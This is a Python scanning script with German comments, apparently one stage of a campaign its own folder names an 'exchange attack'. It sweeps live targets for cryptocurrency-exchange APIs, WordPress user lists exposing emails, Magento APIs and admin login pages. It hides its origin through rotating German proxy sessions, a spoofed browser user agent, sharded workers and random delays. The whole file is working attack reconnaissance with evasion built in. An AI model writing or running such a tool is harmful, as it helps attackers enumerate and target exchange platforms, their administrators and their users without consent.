#!/usr/bin/env python3
# Pass B: Stack-typische API-Endpunkte auf lebende Ziele (aus Pass A), dosiert.
# Aufruf: passB_sweep.py <prefix> <worker> <nworkers>
import json, time, random, re, sys, os, glob, urllib.request as ur, urllib.error

PREFIX = sys.argv[1]
WORKER = int(sys.argv[2])
NWORKERS = int(sys.argv[4 - 1])

BASE = "/home/marcel7364/investoren-daten/forex/boersen_angriff"
UA = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0 Safari/537.36"

# Pass-A-Ergebnisse mergen
sources = {}
for f in glob.glob(f"{BASE}/{PREFIX}A_w*.json"):
    sources.update(json.load(open(f)))
targets = [d for d, e in sources.items() if e.get("base")]
OUT = f"{BASE}/{PREFIX}B_w{WORKER}.json"

shard = targets[WORKER::NWORKERS]

def get_proxy():
    for _ in range(4):
        try:
            return json.loads(ur.urlopen(f"http://127.0.0.1:8110/proxy?country=DE&session=fxborsen-{PREFIX}B-{WORKER}&ttl=14000", timeout=15).read())["proxy_url"]
        except Exception:
            time.sleep(3)
    return None

proxy_url = get_proxy()
def make_op():
    op = ur.build_opener(ur.ProxyHandler({"http": proxy_url, "https": proxy_url}))
    op.addheaders = [("User-Agent", UA)]
    return op
op = make_op()

def req(url, n=9000, timeout=16):
    try:
        with op.open(ur.Request(url), timeout=timeout) as r:
            return {"status": r.status, "body": r.read(n).decode("utf-8", "replace")}
    except urllib.error.HTTPError as e:
        try: body = e.read(1200).decode("utf-8", "replace")
        except Exception: body = ""
        return {"status": e.code, "body": body}
    except Exception as e:
        return {"status": -1, "body": f"ERR {type(e).__name__}"}

# Pfad, Detector(regex auf body+status 200), Name
CHECKS = [
    ("/api/v3/tickers", r'\[[^\]]*"price"', "hollaex_tickers"),
    ("/api/v2/peatio/public/currencies", r'"id"\s*:', "peatio_public"),
    ("/trade_api/v2/front/markets", r'"name"\s*:', "opendax_front"),
    ("/wp-json/wp/v2/users", r'"user_email"|slug', "wp_users"),
    ("/api.php", r'Invalid webservice adapter|Request does not match', "magento1_api"),
    ("/admin/login", r'(html|<)', "admin_login"),
    ("/api/v2/currencies", r'"name"\s*:', "api_v2_cur"),
]

results = {}
if os.path.exists(OUT):
    results = json.load(open(OUT))

n = 0
for d in shard:
    if d in results:
        continue
    b = sources[d]["base"]
    entry = {}
    for path, det, name in CHECKS:
        r = req(b + path)
        if r["status"] == 200 and re.search(det, r["body"]):
            entry[name] = {"path": path, "len": len(r["body"]), "head": r["body"][:400]}
    results[d] = entry
    n += 1
    if n % 15 == 0:
        json.dump(results, open(OUT, "w"), ensure_ascii=False)
        print(f"w{WORKER} {n}/{len(shard)} hits={sum(len(v) for v in results.values())}", flush=True)
    time.sleep(random.uniform(1.0, 2.0))

json.dump(results, open(OUT, "w"), ensure_ascii=False)
print(f"w{WORKER} FERTIG {len(results)} hits={sum(len(v) for v in results.values())}", flush=True)
